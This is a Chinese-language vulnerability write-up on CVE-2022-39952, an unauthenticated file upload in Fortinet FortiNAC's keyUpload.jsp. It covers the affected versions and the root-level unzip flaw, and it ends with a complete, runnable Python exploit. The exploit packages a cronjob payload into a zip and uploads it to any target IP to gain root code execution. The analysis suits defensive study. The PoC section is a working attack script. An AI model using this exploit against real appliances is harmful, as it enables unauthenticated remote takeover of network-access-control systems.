Fortinet FortiNAC CVE-2022-39952简析
- 一、影响版本
- 二、概况
- 三、利用CVE-2022-39952
- 四、POC
一、影响版本
FortiNAC 9.4.0
FortiNAC 9.2.0 - 9.2.5
FortiNAC 9.1.0 - 9.1.7
FortiNAC 8.3 - 8.8
二、概况
Fortinet 在其安全公告中表示,他们在keyUpload scriptlet中发现了一个漏洞,该漏洞允许未经身份验证的用户将任意文件上传到系统。攻击者可能会滥用此漏洞来创建 cronjob 或向易受攻击的系统添加 SSH 密钥并获得对它们的远程访问权限。
三、利用CVE-2022-39952
该漏洞是名为“keyUpload.jsp”的文件引起的。
该 scriptlet 具有允许用户上传任意文件的功能。上传的文件保存到“ /bsc/campusMgr/config/upload.applianceKey ”。
File uploadedFile = new File("/bsc/campusMgr/config/upload.applianceKey");
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
然后,keyUpload.jsp 文件以 root 权限运行 bash 脚本来解压缩上传的文件。
Process prKey = rtKey.exec ("sudo /bsc/campusMgr/bin/configApplianceXml");
成功写入文件后,调用Runtime().Exec()执行位于 的 bash 脚本/bsc/campusMgr/bin/configApplianceXml。
#!/bin/sh
unalias cd 2> /dev/null
cd /
VERSION='/bsc/campusMgr/bin/getPlatformVersion'
if [ "VERSION" == "0" ]
Then
echo "This script is not supported on this version of firmware"
exit;
fi
/usr/bin/unzip -o /bsc/campusMgr/config/upload.applianceKey
由于用户可以将任意文件上传到未经身份验证的端点,因此攻击者可以制作并上传恶意 zip 文件,这些文件可用于在易受攻击的系统中以 root 权限远程执行代码。例如,威胁行为者可能会在“/etc/cron.d”中添加一个 cronjob 来定期执行恶意命令,或者将 SSH 密钥添加到用户配置文件中以获得远程访问权限。
四、POC
python3 CVE-2022-39952.py --target x.x.x.x --file payload
[+] Wrote payload to /etc/cron.d/payload
[+] Payload successfully delivered
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered')
def make_zip(payload_file):
fullpath = '/etc/cron.d/payload'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
args = parser.parse_args()
make_zip(args.file)
exploit(args.target)